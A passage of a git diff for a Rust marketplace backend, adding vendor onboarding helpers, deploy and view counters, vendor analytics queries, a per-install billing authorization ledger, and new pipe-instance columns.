+    .map(|_| ())
+    .map_err(|e| {
+        tracing::error!("update_vendor_public_profile error: {:?}", e);
+        if e.to_string().contains("public_slug") {
+            "Slug is already taken — choose a different one".to_string()
+        } else {
+            "Internal Server Error".to_string()
+        }
+    })
+}
+
+fn metadata_object(metadata: &Value) -> Map<String, Value> {
+    match metadata {
+        Value::Object(map) => map.clone(),
+        _ => Map::new(),
+    }
+}
+
+fn onboarding_object(metadata: &Value) -> Map<String, Value> {
+    metadata
+        .get("onboarding")
+        .and_then(Value::as_object)
+        .cloned()
+        .unwrap_or_default()
+}
+
+fn merge_onboarding_link_metadata(metadata: &Value) -> Value {
+    let now = Utc::now().to_rfc3339();
+    let mut root = metadata_object(metadata);
+    let mut onboarding = onboarding_object(metadata);
+
+    if !onboarding.contains_key("started_at") {
+        onboarding.insert("started_at".to_string(), Value::String(now.clone()));
+    }
+
+    let request_count = onboarding
+        .get("link_request_count")
+        .and_then(Value::as_i64)
+        .unwrap_or(0)
+        + 1;
+
+    onboarding.insert(
+        "last_link_requested_at".to_string(),
+        Value::String(now.clone()),
+    );
+    onboarding.insert(
+        "link_request_count".to_string(),
+        Value::Number(request_count.into()),
+    );
+
+    root.insert("onboarding".to_string(), Value::Object(onboarding));
+    Value::Object(root)
+}
+
+fn merge_onboarding_completion_metadata(metadata: &Value, source: &str) -> Value {
+    let now = Utc::now().to_rfc3339();
+    let mut root = metadata_object(metadata);
+    let mut onboarding = onboarding_object(metadata);
+
+    onboarding.insert("completed_at".to_string(), Value::String(now));
+    onboarding.insert(
+        "completion_source".to_string(),
+        Value::String(source.to_string()),
+    );
+
+    root.insert("onboarding".to_string(), Value::Object(onboarding));
+    Value::Object(root)
+}
+
+pub async fn ensure_vendor_onboarding_link(
+    pool: &PgPool,
+    creator_user_id: &str,
+    payout_provider: &str,
+    generated_account_ref: &str,
+) -> Result<(MarketplaceVendorProfile, bool), String> {
+    let existing = get_vendor_profile_by_creator(pool, creator_user_id).await?;
+    let reusable_existing_linkage = existing
+        .as_ref()
+        .map(|profile| {
+            profile.payout_provider.as_deref() == Some(payout_provider)
+                && profile.payout_account_ref.is_some()
+        })
+        .unwrap_or(false);
+    let linkage_created = !reusable_existing_linkage;
+
+    let verification_status = existing
+        .as_ref()
+        .map(|profile| profile.verification_status.as_str())
+        .unwrap_or("unverified");
+    let onboarding_status = match existing
+        .as_ref()
+        .map(|profile| profile.onboarding_status.as_str())
+    {
+        Some("not_started") | None => "in_progress",
+        Some(status) => status,
+    };
+    let payouts_enabled = if reusable_existing_linkage {
+        existing
+            .as_ref()
+            .map(|profile| profile.payouts_enabled)
+            .unwrap_or(false)
+    } else {
+        false
+    };
+    let payout_provider = if reusable_existing_linkage {
+        existing
+            .as_ref()
+            .and_then(|profile| profile.payout_provider.as_deref())
+            .unwrap_or(payout_provider)
+    } else {
+        payout_provider
+    };
+    let payout_account_ref = if reusable_existing_linkage {
+        existing
+            .as_ref()
+            .and_then(|profile| profile.payout_account_ref.as_deref())
+            .unwrap_or(generated_account_ref)
+    } else {
+        generated_account_ref
+    };
+    let existing_metadata = existing
+        .as_ref()
+        .map(|profile| profile.metadata.clone())
+        .unwrap_or_else(|| Value::Object(Map::new()));
+    let metadata = merge_onboarding_link_metadata(&existing_metadata);
+
+    let profile = upsert_vendor_profile(
+        pool,
+        creator_user_id,
+        Some(verification_status),
+        Some(onboarding_status),
+        Some(payouts_enabled),
+        Some(payout_provider),
+        Some(payout_account_ref),
+        Some(metadata),
+    )
+    .await?;
+
+    Ok((profile, linkage_created))
+}
+
+pub async fn complete_vendor_onboarding(
+    pool: &PgPool,
+    creator_user_id: &str,
+    source: &str,
+    payouts_enabled: bool,
+) -> Result<Option<(MarketplaceVendorProfile, bool)>, String> {
+    let existing = match get_vendor_profile_by_creator(pool, creator_user_id).await? {
+        Some(profile) => profile,
+        None => return Ok(None),
+    };
+
+    if existing.payout_provider.is_none() || existing.payout_account_ref.is_none() {
+        return Ok(None);
+    }
+
+    if existing.onboarding_status == "not_started" {
+        return Ok(None);
+    }
+
+    if existing.onboarding_status == "completed" {
+        if existing.payouts_enabled == payouts_enabled {
+            return Ok(Some((existing, false)));
+        }
+
+        let profile = upsert_vendor_profile(
+            pool,
+            creator_user_id,
+            Some(&existing.verification_status),
+            Some("completed"),
+            Some(payouts_enabled),
+            existing.payout_provider.as_deref(),
+            existing.payout_account_ref.as_deref(),
+            Some(existing.metadata.clone()),
+        )
+        .await?;
+        return Ok(Some((profile, false)));
+    }
+
+    let metadata = merge_onboarding_completion_metadata(&existing.metadata, source);
+    let profile = upsert_vendor_profile(
+        pool,
+        creator_user_id,
+        Some(&existing.verification_status),
+        Some("completed"),
+        Some(payouts_enabled),
+        existing.payout_provider.as_deref(),
+        existing.payout_account_ref.as_deref(),
+        Some(metadata),
+    )
+    .await?;
+
+    Ok(Some((profile, true)))
+}
+
+pub async fn complete_vendor_onboarding_by_payout_account_ref(
+    pool: &PgPool,
+    payout_provider: &str,
+    payout_account_ref: &str,
+    source: &str,
+    payouts_enabled: bool,
+) -> Result<Option<(MarketplaceVendorProfile, bool)>, String> {
+    let profile = sqlx::query_as::<_, MarketplaceVendorProfile>(
+        r#"SELECT
+            creator_user_id,
+            verification_status,
+            onboarding_status,
+            payouts_enabled,
+            payout_provider,
+            payout_account_ref,
+            metadata,
+            created_at,
+            updated_at,
+            public_slug,
+            display_name,
+            bio,
+            avatar_url,
+            website_url
+        FROM marketplace_vendor_profile
+        WHERE payout_provider = $1 AND payout_account_ref = $2
+        LIMIT 1"#,
+    )
+    .bind(payout_provider)
+    .bind(payout_account_ref)
+    .fetch_optional(pool)
+    .await
+    .map_err(|err| {
+        tracing::error!(
+            "complete_vendor_onboarding_by_payout_account_ref lookup error: {:?}",
+            err
+        );
+        "Internal Server Error".to_string()
+    })?;
+
+    let Some(profile) = profile else {
+        return Ok(None);
+    };
+
+    complete_vendor_onboarding(pool, &profile.creator_user_id, source, payouts_enabled).await
+}
+
 /// Save a security scan result as a review record with security_checklist populated
 pub async fn save_security_scan(
     pool: &PgPool,
@@ -1020,3 +2236,414 @@ pub async fn update_verifications(
 
     Ok(res.rows_affected() > 0)
 }
+
+/// Increment view_count for a marketplace template
+pub async fn increment_view_count(pool: &PgPool, template_id: &uuid::Uuid) -> Result<bool, String> {
+    let query_span =
+        tracing::info_span!("marketplace_increment_view_count", template_id = %template_id);
+
+    let res = sqlx::query(
+        r#"UPDATE stack_template SET view_count = COALESCE(view_count, 0) + 1 WHERE id = $1"#,
+    )
+    .bind(*template_id)
+    .execute(pool)
+    .instrument(query_span)
+    .await
+    .map_err(|e| {
+        tracing::error!("increment_view_count error: {:?}", e);
+        "Internal Server Error".to_string()
+    })?;
+
+    Ok(res.rows_affected() > 0)
+}
+
+/// Increment deploy_count for a marketplace template
+pub async fn increment_deploy_count(
+    pool: &PgPool,
+    template_id: &uuid::Uuid,
+) -> Result<bool, String> {
+    let query_span =
+        tracing::info_span!("marketplace_increment_deploy_count", template_id = %template_id);
+
+    let res = sqlx::query(
+        r#"UPDATE stack_template SET deploy_count = COALESCE(deploy_count, 0) + 1 WHERE id = $1"#,
+    )
+    .bind(*template_id)
+    .execute(pool)
+    .instrument(query_span)
+    .await
+    .map_err(|e| {
+        tracing::error!("increment_deploy_count error: {:?}", e);
+        "Internal Server Error".to_string()
+    })?;
+
+    Ok(res.rows_affected() > 0)
+}
+
+/// Record a successful marketplace deployment and increment deploy_count only once.
+///
+/// Returns:
+/// - Ok(None) when the template does not exist
+/// - Ok(Some(true)) when a new deployment_hash was recorded and deploy_count incremented
+/// - Ok(Some(false)) when deployment_hash was already recorded
+pub async fn record_deploy_complete_once(
+    pool: &PgPool,
+    template_id: &uuid::Uuid,
+    deployment_hash: &str,
+    server_ip: Option<&str>,
+) -> Result<Option<bool>, String> {
+    let query_span = tracing::info_span!(
+        "marketplace_record_deploy_complete_once",
+        template_id = %template_id,
+        deployment_hash = %deployment_hash
+    );
+
+    let mut tx = pool.begin().await.map_err(|e| {
+        tracing::error!("record_deploy_complete_once begin error: {:?}", e);
+        "Internal Server Error".to_string()
+    })?;
+
+    let template_exists: Option<i32> =
+        sqlx::query_scalar(r#"SELECT 1 FROM stack_template WHERE id = $1"#)
+            .bind(*template_id)
+            .fetch_optional(&mut *tx)
+            .instrument(query_span.clone())
+            .await
+            .map_err(|e| {
+                tracing::error!("record_deploy_complete_once template lookup error: {:?}", e);
+                "Internal Server Error".to_string()
+            })?;
+
+    if template_exists.is_none() {
+        tx.rollback().await.map_err(|e| {
+            tracing::error!("record_deploy_complete_once rollback error: {:?}", e);
+            "Internal Server Error".to_string()
+        })?;
+        return Ok(None);
+    }
+
+    let insert_res = sqlx::query(
+        r#"INSERT INTO stack_template_deployment (template_id, deployment_hash, server_ip)
+           VALUES ($1, $2, $3)
+           ON CONFLICT (deployment_hash) DO NOTHING"#,
+    )
+    .bind(*template_id)
+    .bind(deployment_hash)
+    .bind(server_ip)
+    .execute(&mut *tx)
+    .instrument(query_span.clone())
+    .await
+    .map_err(|e| {
+        tracing::error!("record_deploy_complete_once insert error: {:?}", e);
+        "Internal Server Error".to_string()
+    })?;
+
+    if insert_res.rows_affected() == 0 {
+        tx.commit().await.map_err(|e| {
+            tracing::error!(
+                "record_deploy_complete_once duplicate commit error: {:?}",
+                e
+            );
+            "Internal Server Error".to_string()
+        })?;
+        return Ok(Some(false));
+    }
+
+    sqlx::query(
+        r#"UPDATE stack_template
+           SET deploy_count = COALESCE(deploy_count, 0) + 1
+           WHERE id = $1"#,
+    )
+    .bind(*template_id)
+    .execute(&mut *tx)
+    .instrument(query_span)
+    .await
+    .map_err(|e| {
+        tracing::error!("record_deploy_complete_once increment error: {:?}", e);
+        "Internal Server Error".to_string()
+    })?;
+
+    tx.commit().await.map_err(|e| {
+        tracing::error!("record_deploy_complete_once commit error: {:?}", e);
+        "Internal Server Error".to_string()
+    })?;
+
+    Ok(Some(true))
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// TDD Stub Functions for Metrics/Analytics
+// These are intentionally unimplemented - tests will FAIL until implemented
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+/// Insert a view event into marketplace_event table
+///
+/// TDD stub - unimplemented. Requires:
+/// - marketplace_event table migration
+/// - INSERT query with template_id, event_type='view', viewer_user_id, occurred_at, metadata
+pub async fn insert_view_event(
+    _pool: &PgPool,
+    _template_id: uuid::Uuid,
+    _viewer_user_id: &str,
+    _metadata: serde_json::Value,
+) -> Result<(), String> {
+    Err("insert_view_event not implemented - requires marketplace_event table".to_string())
+}
+
+/// Insert a deploy event into marketplace_event table
+///
+/// TDD stub - unimplemented. Requires:
+/// - marketplace_event table migration with cloud_provider column
+/// - INSERT query with template_id, event_type='deploy', deployer_user_id, cloud_provider, occurred_at, metadata
+pub async fn insert_deploy_event(
+    _pool: &PgPool,
+    _template_id: uuid::Uuid,
+    _deployer_user_id: &str,
+    _cloud_provider: &str,
+    _metadata: serde_json::Value,
+) -> Result<(), String> {
+    Err("insert_deploy_event not implemented - requires marketplace_event table".to_string())
+}
+
+/// Get vendor analytics for all templates owned by creator_user_id
+///
+/// TDD stub - unimplemented. Requires:
+/// - Query logic to aggregate events by template.creator_user_id
+/// - Owner-scoped filtering (only templates where creator_user_id matches)
+/// - Fallback to stack_template.view_count/deploy_count when no events exist
+/// - Cloud breakdown with percentages
+/// - Time series buckets
+pub async fn get_vendor_analytics(
+    pool: &PgPool,
+    creator_user_id: &str,
+    period: Option<&str>,
+) -> Result<VendorAnalytics, String> {
+    get_vendor_analytics_for_period(pool, creator_user_id, period.unwrap_or("30d"), None, None)
+        .await
+}
+
+/// Get vendor analytics for a specific period with start/end dates
+///
+/// TDD stub - unimplemented. Requires:
+/// - Period filtering logic (7d, 30d, 90d, all, custom)
+/// - Date range filtering with start_date/end_date for custom period
+/// - Zero-filled time series buckets for missing data
+/// - Bucket granularity calculation (day/week/month based on period)
+pub async fn get_vendor_analytics_for_period(
+    pool: &PgPool,
+    creator_user_id: &str,
+    period_key: &str,
+    start_date: Option<chrono::DateTime<chrono::Utc>>,
+    end_date: Option<chrono::DateTime<chrono::Utc>>,
+) -> Result<VendorAnalytics, String> {
+    let now = Utc::now();
+    let (normalized_period, default_start, bucket) = match period_key {
+        "7d" => ("7d", Some(now - Duration::days(7)), "day"),
+        "30d" => ("30d", Some(now - Duration::days(30)), "day"),
+        "90d" => ("90d", Some(now - Duration::days(90)), "week"),
+        "all" => ("all", None, "all"),
+        "custom" => ("custom", start_date, "day"),
+        _ => ("30d", Some(now - Duration::days(30)), "day"),
+    };
+    let start = start_date.or(default_start);
+    let end = end_date.or(Some(now));
+
+    let query_span = tracing::info_span!(
+        "marketplace_vendor_analytics",
+        creator_user_id = %creator_user_id,
+        period = %normalized_period
+    );
+
+    let templates = sqlx::query(
+        r#"SELECT
+            t.id,
+            t.creator_user_id,
+            t.slug,
+            t.name,
+            t.status,
+            COALESCE(COUNT(e.id) FILTER (WHERE e.event_type = 'view'), 0)::bigint AS views,
+            COALESCE(COUNT(e.id) FILTER (WHERE e.event_type = 'deploy'), 0)::bigint AS deployments
+        FROM stack_template t
+        LEFT JOIN marketplace_template_event e
+            ON e.template_id = t.id
+           AND ($2::timestamptz IS NULL OR e.occurred_at >= $2)
+           AND ($3::timestamptz IS NULL OR e.occurred_at <= $3)
+        WHERE t.creator_user_id = $1
+        GROUP BY t.id, t.creator_user_id, t.slug, t.name, t.status, t.created_at
+        ORDER BY deployments DESC, views DESC, t.created_at DESC"#,
+    )
+    .bind(creator_user_id)
+    .bind(start)
+    .bind(end)
+    .fetch_all(pool)
+    .instrument(query_span.clone())
+    .await
+    .map_err(|e| {
+        tracing::error!("get_vendor_analytics templates error: {:?}", e);
+        "Internal Server Error".to_string()
+    })?;
+
+    let mut total_views = 0_i64;
+    let mut total_deployments = 0_i64;
+    let mut top_template_id = None;
+    let mut template_items = Vec::with_capacity(templates.len());
+    let mut top_templates = Vec::with_capacity(templates.len());
+
+    for row in templates {
+        let template_id: uuid::Uuid = row.get("id");
+        let views: i64 = row.get("views");
+        let deployments: i64 = row.get("deployments");
+        let conversion_rate = conversion_rate(views, deployments);
+
+        total_views += views;
+        total_deployments += deployments;
+        if top_template_id.is_none() && (views > 0 || deployments > 0) {
+            top_template_id = Some(template_id);
+        }
+
+        let slug: String = row.get("slug");
+        let name: String = row.get("name");
+        let creator_user_id_row: String = row.get("creator_user_id");
+        let status: String = row.get("status");
+
+        template_items.push(TemplateAnalytics {
+            template_id,
+            creator_user_id: creator_user_id_row,
+            slug: slug.clone(),
+            name: name.clone(),
+            status,
+            views,
+            deployments,
+            conversion_rate,
+        });
+        top_templates.push(TemplatePerformance {
+            template_id,
+            slug,
+            name,
+            views,
+            deployments,
+            conversion_rate,
+        });
+    }
+
+    let published_templates: i64 = sqlx::query_scalar(
+        r#"SELECT COUNT(*)::bigint
+           FROM stack_template
+           WHERE creator_user_id = $1 AND status = 'approved'"#,
+    )
+    .bind(creator_user_id)
+    .fetch_one(pool)
+    .instrument(query_span.clone())
+    .await
+    .map_err(|e| {
+        tracing::error!("get_vendor_analytics published count error: {:?}", e);
+        "Internal Server Error".to_string()
+    })?;
+
+    let cloud_rows = sqlx::query(
+        r#"SELECT
+            COALESCE(e.cloud_provider, 'unknown') AS cloud_provider,
+            COUNT(*)::bigint AS deployments
+        FROM marketplace_template_event e
+        INNER JOIN stack_template t ON t.id = e.template_id
+        WHERE t.creator_user_id = $1
+          AND e.event_type = 'deploy'
+          AND ($2::timestamptz IS NULL OR e.occurred_at >= $2)
+          AND ($3::timestamptz IS NULL OR e.occurred_at <= $3)
+        GROUP BY COALESCE(e.cloud_provider, 'unknown')
+        ORDER BY deployments DESC, cloud_provider ASC"#,
+    )
+    .bind(creator_user_id)
+    .bind(start)
+    .bind(end)
+    .fetch_all(pool)
+    .instrument(query_span)
+    .await
+    .map_err(|e| {
+        tracing::error!("get_vendor_analytics cloud breakdown error: {:?}", e);
+        "Internal Server Error".to_string()
+    })?;
+
+    let mut top_cloud = None;
+    let cloud_breakdown = cloud_rows
+        .into_iter()
+        .enumerate()
+        .map(|(index, row)| {
+            let cloud_provider: String = row.get("cloud_provider");
+            let deployments: i64 = row.get("deployments");
+            if index == 0 {
+                top_cloud = Some(cloud_provider.clone());
+            }
+            CloudBreakdown {
+                cloud_provider,
+                deployments,
+                percentage: percentage(deployments, total_deployments),
+            }
+        })
+        .collect();
+
+    let bucket_start = start.unwrap_or(now);
+    let bucket_end = end.unwrap_or(now);
+
+    Ok(VendorAnalytics {
+        creator_id: creator_user_id.to_string(),
+        period: AnalyticsPeriod {
+            key: normalized_period.to_string(),
+            start_date: start,
+            end_date: end,
+            bucket: bucket.to_string(),
+        },
+        summary: AnalyticsSummary {
+            total_views,
+            total_deployments,
+            conversion_rate: conversion_rate(total_views, total_deployments),
+            published_templates: published_templates.try_into().unwrap_or(i32::MAX),
+            top_cloud,
+            top_template_id,
+        },
+        views_series: vec![SeriesBucket {
+            bucket_start,
+            bucket_end,
+            count: total_views,
+        }],
+        deployments_series: vec![SeriesBucket {
+            bucket_start,
+            bucket_end,
+            count: total_deployments,
+        }],
+        cloud_breakdown,
+        top_templates,
+        templates: template_items,
+    })
+}
+
+fn conversion_rate(views: i64, deployments: i64) -> f64 {
+    if views == 0 {
+        0.0
+    } else {
+        ((deployments as f64 / views as f64) * 10000.0).round() / 100.0
+    }
+}
+
+fn percentage(part: i64, total: i64) -> f64 {
+    if total == 0 {
+        0.0
+    } else {
+        ((part as f64 / total as f64) * 10000.0).round() / 100.0
+    }
+}
+
+/// Get template events filtered by creator_user_id (owner-scoped)
+///
+/// TDD stub - unimplemented. Requires:
+/// - JOIN marketplace_event with stack_template on template_id
+/// - Filter WHERE stack_template.creator_user_id = $creator_user_id
+/// - Optional date range filtering
+pub async fn get_template_events_by_creator(
+    _pool: &PgPool,
+    _creator_user_id: &str,
+    _start_date: Option<chrono::DateTime<chrono::Utc>>,
+    _end_date: Option<chrono::DateTime<chrono::Utc>>,
+) -> Result<Vec<crate::models::marketplace::MarketplaceEvent>, String> {
+    Err("get_template_events_by_creator not implemented - requires owner-scoped query".to_string())
+}
diff --git a/src/db/marketplace_billing.rs b/src/db/marketplace_billing.rs
new file mode 100644
index 00000000..5b9c33f6
--- /dev/null
+++ b/src/db/marketplace_billing.rs
@@ -0,0 +1,209 @@
+//! Persistence for per-install billing authorizations.
+//!
+//! The `marketplace_install_authorization` table is the stacker-side ledger
+//! for two-phase per-install charges. user_service is authoritative on the
+//! underlying money movement (it holds the Stripe payment intent, refund
+//! history, etc.); stacker holds only the opaque `authorization_id`, a
+//! link to the local project/deployment, and the transition status so a
+//! sweeper can reconcile stale rows.
+//!
+//! Uses runtime `sqlx::query_as` / `sqlx::query` calls rather than the
+//! compile-time macros because the schema is introduced in the same commit
+//! as this module — the `.sqlx` cache would need a database with the new
+//! migration already applied to build. Runtime queries stay compilable in
+//! `SQLX_OFFLINE=true` builds.
+
+use chrono::{DateTime, Utc};
+use serde::{Deserialize, Serialize};
+use sqlx::PgPool;
+use uuid::Uuid;
+
+/// One row of `marketplace_install_authorization`.
+#[derive(Debug, Clone, PartialEq, Serialize, Deserialize, sqlx::FromRow)]
+pub struct AuthorizationRow {
+    pub id: Uuid,
+    pub project_id: Option<i32>,
+    pub user_id: String,
+    pub template_id: Uuid,
+    pub idempotency_key: String,
+    pub authorization_id: String,
+    pub amount_minor: i64,
+    pub currency: String,
+    pub status: String,
+    pub deployment_hash: Option<String>,
+    pub void_reason: Option<String>,
+    pub expires_at: Option<DateTime<Utc>>,
+    pub created_at: DateTime<Utc>,
+    pub updated_at: DateTime<Utc>,
+}
+
+/// Input for inserting a fresh authorization row. The row is always inserted
+/// with `status='authorized'` and `project_id=NULL`; `attach_project` fills
+/// in the project link once the project row commits.
+#[derive(Debug, Clone)]
+pub struct NewAuthorization {
+    pub user_id: String,
+    pub template_id: Uuid,
+    pub idempotency_key: String,
+    pub authorization_id: String,
+    pub amount_minor: i64,
+    pub currency: String,
+    pub expires_at: Option<DateTime<Utc>>,
+}
+
+/// Insert (or fetch, on idempotency-key replay) an authorization row.
+///
+/// The `(user_id, idempotency_key)` unique index is the pivot for replay
+/// safety — a duplicate install request with the same key returns the
+/// previously-persisted row instead of creating a second one. Callers that
+/// see the same `authorization_id` in the response can safely treat the
+/// request as a no-op.
+pub async fn insert_authorization(
+    pool: &PgPool,
+    row: NewAuthorization,
+) -> Result<AuthorizationRow, String> {
+    let mut tx = pool.begin().await.map_err(|e| e.to_string())?;
+
+    let inserted: Option<AuthorizationRow> = sqlx::query_as::<_, AuthorizationRow>(
+        r#"INSERT INTO marketplace_install_authorization
+            (user_id, template_id, idempotency_key, authorization_id,
+             amount_minor, currency, status, expires_at)
+           VALUES ($1, $2, $3, $4, $5, $6, 'authorized', $7)
+           ON CONFLICT (user_id, idempotency_key) DO NOTHING
+           RETURNING *"#,
+    )
+    .bind(&row.user_id)
+    .bind(row.template_id)
+    .bind(&row.idempotency_key)
+    .bind(&row.authorization_id)
+    .bind(row.amount_minor)
+    .bind(&row.currency)
+    .bind(row.expires_at)
+    .fetch_optional(&mut *tx)
+    .await
+    .map_err(|e| format!("insert_authorization: {}", e))?;
+
+    let result = if let Some(inserted) = inserted {
+        inserted
+    } else {
+        sqlx::query_as::<_, AuthorizationRow>(
+            r#"SELECT * FROM marketplace_install_authorization
+               WHERE user_id = $1 AND idempotency_key = $2"#,
+        )
+        .bind(&row.user_id)
+        .bind(&row.idempotency_key)
+        .fetch_one(&mut *tx)
+        .await
+        .map_err(|e| format!("insert_authorization replay lookup: {}", e))?
+    };
+
+    tx.commit().await.map_err(|e| e.to_string())?;
+    Ok(result)
+}
+
+/// Link the authorization to the freshly-inserted project row.
+pub async fn attach_project(pool: &PgPool, auth_id: Uuid, project_id: i32) -> Result<(), String> {
+    sqlx::query(
+        r#"UPDATE marketplace_install_authorization
+           SET project_id = $1, updated_at = now()
+           WHERE id = $2"#,
+    )
+    .bind(project_id)
+    .bind(auth_id)
+    .execute(pool)
+    .await
+    .map_err(|e| format!("attach_project: {}", e))?;
+    Ok(())
+}
+
+/// Attach the deployment hash so `deploy_complete_handler` can look up
+/// the authorization by hash without joining `stack_template_deployment`.
+pub async fn attach_deployment_hash(
+    pool: &PgPool,
+    auth_id: Uuid,
+    deployment_hash: &str,
+) -> Result<(), String> {
+    sqlx::query(
+        r#"UPDATE marketplace_install_authorization
+           SET deployment_hash = $1, updated_at = now()
+           WHERE id = $2"#,
+    )
+    .bind(deployment_hash)
+    .bind(auth_id)
+    .execute(pool)
+    .await
+    .map_err(|e| format!("attach_deployment_hash: {}", e))?;
+    Ok(())
+}
+
+/// Terminal state transition on successful capture. Idempotent — re-running
+/// with the same `authorization_id` is a no-op if the row is already
+/// captured.
+pub async fn mark_captured(pool: &PgPool, authorization_id: &str) -> Result<(), String> {
+    sqlx::query(
+        r#"UPDATE marketplace_install_authorization
+           SET status = 'captured', updated_at = now()
+           WHERE authorization_id = $1 AND status = 'authorized'"#,
+    )
+    .bind(authorization_id)
+    .execute(pool)
+    .await
+    .map_err(|e| format!("mark_captured: {}", e))?;
+    Ok(())
+}
+
+/// Terminal state transition on void. Records the reason for audit — the
+/// sweeper writes `expired`, install-failure paths write `install_failed:*`,
+/// user_service-side voids write `refunded` / etc.
+pub async fn mark_voided(
+    pool: &PgPool,
+    authorization_id: &str,
+    reason: &str,
+) -> Result<(), String> {
+    sqlx::query(
+        r#"UPDATE marketplace_install_authorization
+           SET status = 'voided', void_reason = $2, updated_at = now()
+           WHERE authorization_id = $1 AND status = 'authorized'"#,
+    )
+    .bind(authorization_id)
+    .bind(reason)
+    .execute(pool)
+    .await
+    .map_err(|e| format!("mark_voided: {}", e))?;
+    Ok(())
+}
+
+/// Look up the authorization associated with a deployment. Called by
+/// `deploy_complete_handler` to decide whether to trigger capture.
+pub async fn find_by_deployment_hash(
+    pool: &PgPool,
+    deployment_hash: &str,
+) -> Result<Option<AuthorizationRow>, String> {
+    sqlx::query_as::<_, AuthorizationRow>(
+        r#"SELECT * FROM marketplace_install_authorization
+           WHERE deployment_hash = $1"#,
+    )
+    .bind(deployment_hash)
+    .fetch_optional(pool)
+    .await
+    .map_err(|e| format!("find_by_deployment_hash: {}", e))
+}
+
+/// Rows the sweeper should void: authorized past their TTL grace window.
+pub async fn list_expired_authorized(
+    pool: &PgPool,
+    cutoff: DateTime<Utc>,
+    limit: i64,
+) -> Result<Vec<AuthorizationRow>, String> {
+    sqlx::query_as::<_, AuthorizationRow>(
+        r#"SELECT * FROM marketplace_install_authorization
+           WHERE status = 'authorized' AND expires_at IS NOT NULL AND expires_at < $1
+           ORDER BY expires_at ASC
+           LIMIT $2"#,
+    )
+    .bind(cutoff)
+    .bind(limit)
+    .fetch_all(pool)
+    .await
+    .map_err(|e| format!("list_expired_authorized: {}", e))
+}
diff --git a/src/db/mod.rs b/src/db/mod.rs
index 1537579b..ca933b3b 100644
--- a/src/db/mod.rs
+++ b/src/db/mod.rs
@@ -5,11 +5,16 @@ pub mod chat;
 pub mod client;
 pub(crate) mod cloud;
 pub mod command;
+pub mod dag;
 pub(crate) mod deployment;
 pub mod marketplace;
+pub mod marketplace_billing;
 pub mod pipe;
 pub mod product;
 pub mod project;
 pub mod project_app;
+pub mod project_member;
 pub mod rating;
+pub mod remote_secret;
+pub mod resilience;
 pub(crate) mod server;
diff --git a/src/db/pipe.rs b/src/db/pipe.rs
index 27eec32f..4246999c 100644
--- a/src/db/pipe.rs
+++ b/src/db/pipe.rs
@@ -245,22 +245,24 @@ pub async fn insert_instance(
     sqlx::query_as::<_, PipeInstance>(
         r#"
         INSERT INTO pipe_instances (
-            id, template_id, deployment_hash, source_container, target_container,
-            target_url, field_mapping_override, config_override, status,
-            last_triggered_at, trigger_count, error_count, created_by,
-            created_at, updated_at
+            id, template_id, deployment_hash, source_adapter, source_container, target_adapter,
+            target_container, target_url, field_mapping_override, config_override, status,
+            last_triggered_at, trigger_count, error_count, is_local, created_by, created_at,
+            updated_at
         )
-        VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15)
-        RETURNING id, template_id, deployment_hash, source_container, target_container,
-                  target_url, field_mapping_override, config_override, status,
-                  last_triggered_at, trigger_count, error_count, created_by,
-                  created_at, updated_at
+        VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17, $18)
+        RETURNING id, template_id, deployment_hash, source_adapter, source_container,
+                  target_adapter, target_container, target_url, field_mapping_override,
+                  config_override, status, last_triggered_at, trigger_count, error_count,
+                  is_local, created_by, created_at, updated_at
         "#,
     )
     .bind(instance.id)
     .bind(instance.template_id)
     .bind(&instance.deployment_hash)
+    .bind(&instance.source_adapter)
     .bind(&instance.source_container)
+    .bind(&instance.target_adapter)
     .bind(&instance.target_container)
     .bind(&instance.target_url)
     .bind(&instance.field_mapping_override)
@@ -269,6 +271,7 @@ pub async fn insert_instance(
     .bind(instance.last_triggered_at)
     .bind(instance.trigger_count)
     .bind(instance.error_count)
+    .bind(instance.is_local)
     .bind(&instance.created_by)
     .bind(instance.created_at)
     .bind(instance.updated_at)
@@ -287,10 +290,10 @@ pub async fn get_instance(pool: &PgPool, id: &Uuid) -> Result<Option<PipeInstanc
     let query_span = tracing::info_span!("Fetching pipe instance by ID");
     sqlx::query_as::<_, PipeInstance>(
         r#"
-        SELECT id, template_id, deployment_hash, source_container, target_container,
-               target_url, field_mapping_override, config_override, status,
-               last_triggered_at, trigger_count, error_count, created_by,
-               created_at, updated_at
+        SELECT id, template_id, deployment_hash, source_adapter, source_container,
+               target_adapter, target_container, target_url, field_mapping_override,
+               config_override, status, last_triggered_at, trigger_count, error_count,
+               is_local, created_by, created_at, updated_at
         FROM pipe_instances
         WHERE id = $1
         "#,
@@ -314,10 +317,10 @@ pub async fn list_instances(
     let query_span = tracing::info_span!("Listing pipe instances for deployment");
     sqlx::query_as::<_, PipeInstance>(
         r#"
-        SELECT id, template_id, deployment_hash, source_container, target_container,
-               target_url, field_mapping_override, config_override, status,
-               last_triggered_at, trigger_count, error_count, created_by,
-               created_at, updated_at
+        SELECT id, template_id, deployment_hash, source_adapter, source_container,
+               target_adapter, target_container, target_url, field_mapping_override,
+               config_override, status, last_triggered_at, trigger_count, error_count,
+               is_local, created_by, created_at, updated_at
         FROM pipe_instances
         WHERE deployment_hash = $1
         ORDER BY created_at DESC
@@ -333,6 +336,34 @@ pub async fn list_instances(
     })
 }
 
+/// List local pipe instances for a specific user (is_local = true)
+#[tracing::instrument(name = "List local pipe instances for user", skip(pool))]
+pub async fn list_local_instances_by_user(
+    pool: &PgPool,
+    user_id: &str,
+) -> Result<Vec<PipeInstance>, String> {
+    let query_span = tracing::info_span!("Listing local pipe instances");
+    sqlx::query_as::<_, PipeInstance>(
+        r#"
+        SELECT id, template_id, deployment_hash, source_adapter, source_container,
+               target_adapter, target_container, target_url, field_mapping_override,
+               config_override, status, last_triggered_at, trigger_count, error_count,
+               is_local, created_by, created_at, updated_at
+        FROM pipe_instances
+        WHERE is_local = true AND created_by = $1
+        ORDER BY created_at DESC
+        "#,
+    )
+    .bind(user_id)
+    .fetch_all(pool)
+    .instrument(query_span)
+    .await
+    .map_err(|err| {
+        tracing::error!("Failed to list local pipe instances: {:?}", err);
+        format!("Failed to list local pipe instances: {}", err)
+    })
+}
+
 /// Update the status of a pipe instance
 #[tracing::instrument(name = "Update pipe instance status", skip(pool))]
 pub async fn update_instance_status(
